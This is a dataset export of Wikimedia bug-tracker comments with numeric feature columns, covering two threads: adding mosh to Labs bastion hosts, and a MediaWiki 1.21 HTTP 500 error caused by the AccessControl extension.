249282,Allow login using mosh as an alternative to plain ssh on bastion,"I checked out http://mailman.mit.edu/pipermail/mosh-devel/2013-May/000499.html and that actually works! So either that gets merged, or we make a patched package.

Hopefully the former :D",,,1380191249,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,11.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.9629629629629629,"I checked out URL and that actually works! So either that gets merged, or we make a patched package.

Hopefully the former :D"
249278,Allow login using mosh as an alternative to plain ssh on bastion,"Yeah, and you want mosh in client -> bastion, since that is the flaky part. If you need mosh from bastion to target host, you've bigger problems...",,,1380176994,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,9.0,15.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.5588235294117645,0.8235294117647058,"Yeah, and you want mosh in client -> bastion, since that is the flaky part. If you need mosh from bastion to target host, you've bigger problems..."
249275,Allow login using mosh as an alternative to plain ssh on bastion,"mosh is indeed only reasonably useful for instances with a public IP:  while you can proxycommand the mosh invocation itself, your local client won't be able to connect to the started mosh-server unless it is reachable.",,,1380137483,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,2.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,14.0,7.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.27906976744186,0.8837209302325582,"mosh is indeed only reasonably useful for instances with a public IP:  while you can proxycommand the mosh invocation itself, your local client won't be able to connect to the started mosh-server unless it is reachable."
249273,Allow login using mosh as an alternative to plain ssh on bastion,"We now have mosh installed on the labs bastions (and Coren graciously opened up the relevant ports), and can mosh to the bastions!

However....

Because of mosh's lack of support for proxycommand or equivalent, we can't really use bastions to access the rest of labs. So we can mosh to the bastion, and... that is pretty much it. Quite useless, IMO :(",,,1380136951,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,1.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,13.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,9.0,1.0,5.0,8.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.792207792207792,0.7012987012987013,"We now have mosh installed on the labs bastions (and Coren graciously opened up the relevant ports), and can mosh to the bastions!

However....

Because of mosh's lack of support for proxycommand or equivalent, we can't really use bastions to access the rest of labs. So we can mosh to the bastion, and... that is pretty much it. Quite useless, IMO :("
249269,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84105 merged by Akosiaris:
Add mosh to labs bastions

https://gerrit.wikimedia.org/r/84105",,,1379355551,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 84105 merged by Akosiaris:
Add mosh to labs bastions

GERRIT_URL"
249265,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84105 had a related patch set uploaded by Yuvipanda:
Add mosh to labs bastions

https://gerrit.wikimedia.org/r/84105",,,1379029401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,1.0,"Change 84105 had a related patch set uploaded by Yuvipanda:
Add mosh to labs bastions

GERRIT_URL"
249262,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84024 merged by coren:
Add mosh to bastion hosts

https://gerrit.wikimedia.org/r/84024",,,1379028202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,1.0,"Change 84024 merged by coren:
Add mosh to bastion hosts

GERRIT_URL"
249258,Allow login using mosh as an alternative to plain ssh on bastion,https://gerrit.wikimedia.org/r/#/c/84024/ perhaps? Not sure if we need to open up any ports or just installing the package is enough?,,,1379011169,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,2,True,5.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,URL perhaps? Not sure if we need to open up any ports or just installing the package is enough?
249254,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84024 had a related patch set uploaded by Yuvipanda:
Add mosh to bastion hosts

https://gerrit.wikimedia.org/r/84024",,,1379011106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,1.0,"Change 84024 had a related patch set uploaded by Yuvipanda:
Add mosh to bastion hosts

GERRIT_URL"
249247,Allow login using mosh as an alternative to plain ssh on bastion,*** Bug 49454 has been marked as a duplicate of this bug. ***,,,1379011061,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49454 has been marked as a duplicate of this bug. ***
249242,Allow login using mosh as an alternative to plain ssh on bastion,"JFTR, on Tools mosh-server processes eat up to 25 MBytes RSS each; sshds usually are much lighter, even if you add screen.  Labs bastions could certainly handle that but it's something to keep in mind.",,,1376245807,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,True,,,-3,True,5.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,14.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.7954545454545454,0.9318181818181818,"JFTR, on Tools mosh-server processes eat up to 25 MBytes RSS each; sshds usually are much lighter, even if you add screen.  Labs bastions could certainly handle that but it's something to keep in mind."
249237,Allow login using mosh as an alternative to plain ssh on bastion,"This is supported on tools, but adding it to the general bastions would be a good idea.",,,1376185312,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.736842105263158,1.0,"This is supported on tools, but adding it to the general bastions would be a good idea."
249233,Allow login using mosh as an alternative to plain ssh on bastion,"Just found out that mosh already works for tools-login, just not for bastion. would still be nice to have that, too.",,,1376118400,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8518518518518519,"Just found out that mosh already works for tools-login, just not for bastion. would still be nice to have that, too."
249228,Allow login using mosh as an alternative to plain ssh on bastion,"(In reply to comment #0)
> ssh is quite painful over a slow and/or lossy connection. mosh uses ssh for
> authentication and then changes to it's own robust, udp based protocol.

Robust and udp in the same sentence sounds funny",,,1376118251,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.9090909090909091,"(In reply to comment #0)
QUOTE
QUOTE

Robust and udp in the same sentence sounds funny"
51774,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**Author:** `ka.hing.chan`

**Description:**
In version 1.21.1, the special pages get an Server Error HTTP Error 500.

--------------------------
**Version**: REL1_21-branch
**Severity**: normal",Lowest,10.0,1371590220,1465043771.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-37d2msujvpp2rippbzoq,False,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_description,resolved,True,c2,1,False,False,False,-11,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5208333333333335,0.6041666666666666,"**Author:** CODE

**Description:**
In version 1.21.1, the special pages get an Server Error HTTP Error 500.

--------------------------
**Version**: REL1_21-branch
**Severity**: normal"
674453,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given",">>! In T51774#576126, @bzimport wrote:
> **kapica** wrote:
> 
> In the latest version of the extension 2.3 should be this problem solved.

Per the maintainers note. In the meantime MW 1.21 is obsolete anyways so it is suggested to update to AccessControl 2.5 [!sic] and a supported version of MediaWiki. Please open a new issue report in case you are observing this behaviour after the upgrades.",,,1465043816,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,3,True,,,144,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,17.0,0.0,2.0,10.0,0.0,0.0,2.0,0.0,3.0,3.0,3.0,0.0,3.0,12.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,4.103448275862069,0.7931034482758621,"QUOTE
QUOTE
QUOTE
QUOTE

Per the maintainers note. In the meantime MW 1.21 is obsolete anyways so it is suggested to update to AccessControl 2.5 [!sic] and a supported version of MediaWiki. Please open a new issue report in case you are observing this behaviour after the upgrades."
674452,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given",">>! In T51774#576126, @bzimport wrote:
> **kapica** wrote:
> 
> In the latest version of the extension 2.3 should be this problem solved.

Per the maintainers note. In the meantime MW 1.21 is obsolete anyways so it is suggested to update to AccessControl 2.5 [!sic] and a supported version of MediaWiki.",,,1465043771,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,3,True,,,144,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,22.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,2.0,2.0,5.0,0.0,2.0,12.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.951219512195122,0.7804878048780488,"QUOTE
QUOTE
QUOTE
QUOTE

Per the maintainers note. In the meantime MW 1.21 is obsolete anyways so it is suggested to update to AccessControl 2.5 [!sic] and a supported version of MediaWiki."
249563,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**kapica** wrote:

In the latest version of the extension 2.3 should be this problem solved.",,,1389864804,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.590909090909091,0.8181818181818182,"**kapica** wrote:

In the latest version of the extension 2.3 should be this problem solved."
249559,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**kapica** wrote:

Yes, I know about this issue - on the site for AccessControl in the Mediawiki web is notice about it. But I now was not time to fix this problem.",,,1371708248,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,15.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.268292682926829,0.8048780487804879,"**kapica** wrote:

Yes, I know about this issue - on the site for AccessControl in the Mediawiki web is notice about it. But I now was not time to fix this problem."
249555,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","I just posted the diff link on the other bug, if anyone is interested.",,,1371690813,,PHID-USER-kc6qx3zohjybu3nzffu3,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.9375,"I just posted the diff link on the other bug, if anyone is interested."
249551,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given",Yes - bug 43727 is the very same bug in a different extension.,,,1371688781,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,Yes - bug 43727 is the very same bug in a different extension.
249546,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**ka.hing.chan** wrote:

[Mon Jun 17 13:06:12 2013] [error] [client 172.31.38.160] PHP Catchable fatal error:  Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given, called in /u01/www/html/wiki/includes/Article.php on line 388 and defined in /u01/www/html/wiki/includes/content/ContentHandler.php on line 95, referer: http://ltapp06/wiki/index.php/CityWiki",,,1371688413,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,6.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.048780487804878,0.6341463414634146,"**ka.hing.chan** wrote:

[Mon Jun 17 13:06:12 2013] [error] [client 172.31.38.160] PHP Catchable fatal error:  Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given, called in /u01/www/html/wiki/includes/Article.php on line 388 and defined in /u01/www/html/wiki/includes/content/ContentHandler.php on line 95, referer: URL"
249539,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","For the HTTP Error, can you please check the server log and paste the corresponding error?",,,1371684662,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2vjoijsfwjd4x7dpui5y,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,6.0,6.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8888888888888888,"For the HTTP Error, can you please check the server log and paste the corresponding error?"
249531,"HTTP 500 Server Error: Argument 1 passed to ContentHandler::getContentText() must implement interface Content, boolean given","**ka.hing.chan** wrote:

